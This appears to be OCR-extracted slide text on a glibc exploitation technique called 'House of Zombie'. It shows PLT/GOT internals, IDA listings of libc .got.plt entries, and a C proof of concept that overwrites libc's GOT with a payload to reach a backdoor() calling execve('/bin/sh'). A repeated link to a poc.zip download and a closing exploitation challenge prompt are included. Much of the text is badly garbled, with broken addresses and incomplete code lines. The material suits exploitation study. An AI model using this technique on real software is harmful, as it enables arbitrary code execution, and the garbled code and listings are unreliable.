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Prerequisite - PRINTF,PUTS

r‘(@

PRINT
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printf-puts — strlen() — j_strlen(PLT)
— GOT — strlen@libc
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Input: printf(“Color %s

7’ 7 4
///////’ / /// /// ///
y or s S S
Output: Color red, Number 123456, Float 3.14

printf 2] 0

#include <stdio.h>

int puts(const charx

Number S%d, Float %3.2f", "red",

*string) ;

123456, 3.14);




Prerequisite - PLTO =

N N € elf64-x86-64.c

static const bfd_byte elf_x86_64_lazy_ pltO_entry[LAZY_PLT_ENTRY_SIZE]
{

Oxff, Ox35, 8, 0, 0, 0O,

Oxff, Ox25, 16, 0, 0, O,

OxOf, Ox1f, Ox40, OxO0
i

bfd/elf64-x86-64.c

GitHub



https://github.com/bminor/binutils-gdb/blob/master/bfd/elf64-x86-64.c
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PoC

GOT.PLT

LE0L.plt:00RE0000021A068
.20t .plt:000000000021A010
.0t.plL:0000E00ERO21A018
.got.plt
.got.plt

- 000000000021A018
: 000000000021A020
: 0000600080 21A82€
: 0000COERB21AE

: 0000000008 21A1

: 0000000000 21A03E
.E0T.plL:0000LOO0COB21A!
.got.plt:000000000021A
.got.plt:o0OE

.Bot.plt:¢
.E0t.plL:000000000021A(1
.20t .plt:000000000021A
.g0t.plt:000000000021A050
.S0L.plL:BOBOEOOBBB21AE

: 000000000021A6058
: 000000000N21A660
:000000000021A060
10000000000 21A068
: 0000000 EB21A068
0000000008 21A076
: 000000000021A6760
: 0000000000 21A0/78
: 000000000021A6878
: 000000000021A080
: 0000000000 21A

: 00000000068 21A088
: 0000000 21A6E
:000000000021A8
.01 .plL:600000000021A090
.20L.plL:0000000CRE21A098
LE20t.plt:000000000021A06¢

.got.plt
.got.plt
.got.plt
plt

.80t

.got.plt
.got.plt
.got.plt
.got.plt
.got.plt
.got.plt
.got.plt
.got.plt
.got.plt
.got.plt
.got.plt
.got.plt
.got.plt
.got.plt
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of fset

offset

strnlen

rawmemchr

realloc

strncasecmp

dl_exception

mempcpy

wmemset

calloc

strspn

memchr

memmove

wmemchr

stpcpy

wmemecmp

dl_find

strncpy

strien

dso

¢

DATA XREF:
DATA XREF: sub
DATA XREF: j
Indirect
XREF: 7
Indirect
DATA XREF: _realloc
DATA XREF: j

Indirect

Sub_280001+1x
28000+6+x
strnlen+4+1
relocation

DATA rawmemchr+44r
relocation

441
strncasecmp+44r
relocation

reate

DATA XREF:
DATA XREF:
Indirect
XREF:
Indirect relocation
DATA XREF:
DATA XREF:
Indirect
XREF: Jj_
Indirect relocation
DATA XREF: 3

Indirect relocation

dl_exception_create+44r
j_mempcpy+44x
relocation
DATA j_wmemset+44+4rx
calloc+4r:
J_Strspn+aarx
relocation
DATA memchr+4

memmove+4+1

DATA XREF:

Jj_wmemchr+4+r
Indirect relocation
DATA XREF: j_stpcpy+dar
Indirect relocation
DATA XREF:

Indirect relocation

J_wmemcmp+4+r

DATA
DATA
Indirect
DATA XREF:

XREF: __dl_find_dso_for_object+4+r
XREF: Jj_strncpy+4+r
relocation

J_strien+4+rx

Indirect relocation



https://blog.kakaocdn.net/dna/WNV94/btsOSOKj6MP/AAAAAAAAAAAAAAAAAAAAALSkBiTJplAjNr5Ygls5I6PJ9chDRcdmEzBfCfH8KEhh/poc.zip?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1753973999&allow_ip=&allow_referer=&signature=JgbuNakw1L65Bq8R2Ne0vrkCH64%3D&attach=1&knm=tfile.zip

PoC =

GOT.PLT

quord_21A068
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https://blog.kakaocdn.net/dna/WNV94/btsOSOKj6MP/AAAAAAAAAAAAAAAAAAAAALSkBiTJplAjNr5Ygls5I6PJ9chDRcdmEzBfCfH8KEhh/poc.zip?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1753973999&allow_ip=&allow_referer=&signature=JgbuNakw1L65Bq8R2Ne0vrkCH64%3D&attach=1&knm=tfile.zip

O

. N B pItO.asm

sub_2806000 proc near

+ __unwind {

push cs:qwoxd_21A008
bnd Jmp cs:qword_21A010
sub_28000 endp



https://blog.kakaocdn.net/dna/WNV94/btsOSOKj6MP/AAAAAAAAAAAAAAAAAAAAALSkBiTJplAjNr5Ygls5I6PJ9chDRcdmEzBfCfH8KEhh/poc.zip?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1753973999&allow_ip=&allow_referer=&signature=JgbuNakw1L65Bq8R2Ne0vrkCH64%3D&attach=1&knm=tfile.zip

PoC ==

208 GOT.PLT

LEOL I DLTTOPOPO0000021A008 qWaEd 284008 0 ; DATA XREF: sub_28000+r
TeoL.plL:000000000021A010 quwoEHZEAR10 o ; DATA XREF: sub_28000+6+X
.got.plt: D00 8 of fE2AANES offset strnlen : DATA XREF: j_strnlent+d+r
.20t.plt:000000000021A018 : Indirect relocation
.€0t.plL:0008008880°21A020 of FEZTAREO of fset rawmemchr : DATA XREF: j_rawmemchr+4+r
. 20t . pAERNEERERRRRNT 217020 ; Indirect relocation
. SOENBEERaRagorc 000212028 JgRFERER0238 offset realloc ; DATA XREF: _realloc+4s:
S0L  pEETObe000000021A030 OFF 1 A0 30 offset strncasecmp ; DATA XREF: j_strncasecmp+44r
S0P, pLL:000000000021A034 ; Indirect relocation
.€0L.plL:000000000021AGBENDT f_21A038 offset _dl_exception_create
f_’»:. . & pIthsm .20t.plL:0000000000214A858 : DATA XREF: __dl_exception_create+4+r
LE0T.plLL:000COOCOCAEEARAE of f_21A040 offset mempcpy : DATA XREF: j_mempcpy+44+r
.got.plt:000000Q88ERIAC40 : Indirect relocation
.ot.plL:0008EEREEY.21A048 of f_21A048 offset wmemset : DATA XREF: j_wmemset+44r
Sllb_ZS@O@ proc near .E0t.plt:00000D0000021A048 : Indirect relocation
. .ot .plt:000000000021A050 off_21A050 offset calloc ; DATA XREF: _calloc+4+r
; —_unwind { .got.plt:000000000021A058 off_21A058 offset strspn : DATA XREF: j_strspn+4ar
pUSh CS qword 21A008 : .€0t.plt:000000000021A058 ; Indirect rellorarimz
) .20t .plt:000000000021A660 of f_21A060 dq offset memchr ; DATA XREF: j_memchr+4+r
bnd Jmp cs:qword_21A010 .0t .plL:000000000021A060 ; Indirect relocation
SLID_280@@ endp .Bo0t.p Lr:fjt)(-):i,\(-n:)(;u;!;‘,(;»)z?:\f.:’f_;.: off_21A068 dq offset memmove : l‘u\!;i\ .me :. I memn.*love 411
.80L.plL:000000000021A068 ; Indirect relocation
.S0T.plL:0000OEELEO21A0TE of f_21A0760 dg Fset wmemchr : DATA XREF: J_wmemchr+4+xr
.80T.plL:000000000021A076 ; Indirect relocation
.20t.plt:000000000021A078 of f_21A078 stpcpy D
got.plt:00000000002 ' ; Indirect relocation
1 :000000000021A af_21A080 offset wmemcmp : DATA XREF: Jj_wmemcmp+4+Yy
.gotl., 2Q0000021A6¢E : Indirect relocation
.got.plt:0uC ) C . 1AO88 offset _dl_find_dso_for_object
L.E0L.plLL:0000000BUC : DATA XREF: dl_find_dso_for_object+4+r
.€0L.plL:000000C00021A0% offset strncpy : DATA XREF: j_strncpy+44r

JATA XREF: Jj_stpcpy+4+r

.€0L.plL:000000000021A00 s Indirect relocation
.got.plt:000006\ 3 ] offset strlen : DATA XREF: j_strlen+4+r
.20t .plL:000000000021A098 ; Indirect relocation



https://blog.kakaocdn.net/dna/WNV94/btsOSOKj6MP/AAAAAAAAAAAAAAAAAAAAALSkBiTJplAjNr5Ygls5I6PJ9chDRcdmEzBfCfH8KEhh/poc.zip?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1753973999&allow_ip=&allow_referer=&signature=JgbuNakw1L65Bq8R2Ne0vrkCH64%3D&attach=1&knm=tfile.zip

PoC

0

#inc
#inc

b € expc

stdio.h
stdlib.h:

Lude
Lude

backdoor() {
execve("/bin/sh™ ,NULL,NULL);

main() {

size_t puts_addr (size_t)&puts;
Libe

Libc_got_plt

puts_addr
Libc_base

size_t base - ex
size_t
Libc_base

size_t trrider

size_t payload[ex1e0];

int idx = ©;

payload[idx
payload[idx

l-l;(('|;

Libc_got_plt Ox18;

payload[idx++ libc_base + ©x1bas

payload[ 1dx backdoor;

{(int 1 0: i
payload[idx+4

}

payload[idx trriger;

1dx *= 8;

memcpy (Libc_got_plt,payload,idx);

puts("Tridderine the payload");

! -*
L 9,



https://blog.kakaocdn.net/dna/WNV94/btsOSOKj6MP/AAAAAAAAAAAAAAAAAAAAALSkBiTJplAjNr5Ygls5I6PJ9chDRcdmEzBfCfH8KEhh/poc.zip?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1753973999&allow_ip=&allow_referer=&signature=JgbuNakw1L65Bq8R2Ne0vrkCH64%3D&attach=1&knm=tfile.zip
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https://blog.kakaocdn.net/dna/WNV94/btsOSOKj6MP/AAAAAAAAAAAAAAAAAAAAALSkBiTJplAjNr5Ygls5I6PJ9chDRcdmEzBfCfH8KEhh/poc.zip?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1753973999&allow_ip=&allow_referer=&signature=JgbuNakw1L65Bq8R2Ne0vrkCH64%3D&attach=1&knm=tfile.zip

PoC

fish /mntip/House of Zombl + o~

root @ daeseong in /mnt/p/House_of_Zombie © [15:00:05]

~ Jpoc



https://blog.kakaocdn.net/dna/WNV94/btsOSOKj6MP/AAAAAAAAAAAAAAAAAAAAALSkBiTJplAjNr5Ygls5I6PJ9chDRcdmEzBfCfH8KEhh/poc.zip?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1753973999&allow_ip=&allow_referer=&signature=JgbuNakw1L65Bq8R2Ne0vrkCH64%3D&attach=1&knm=tfile.zip
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You have exactly two opportunities to exploit this binary. The target implements a custom memory

allocator with strict size constraints. After the second allocation attempt, the program terminates

regardless of success or failure.
Can you achieve code execution within these limitations?
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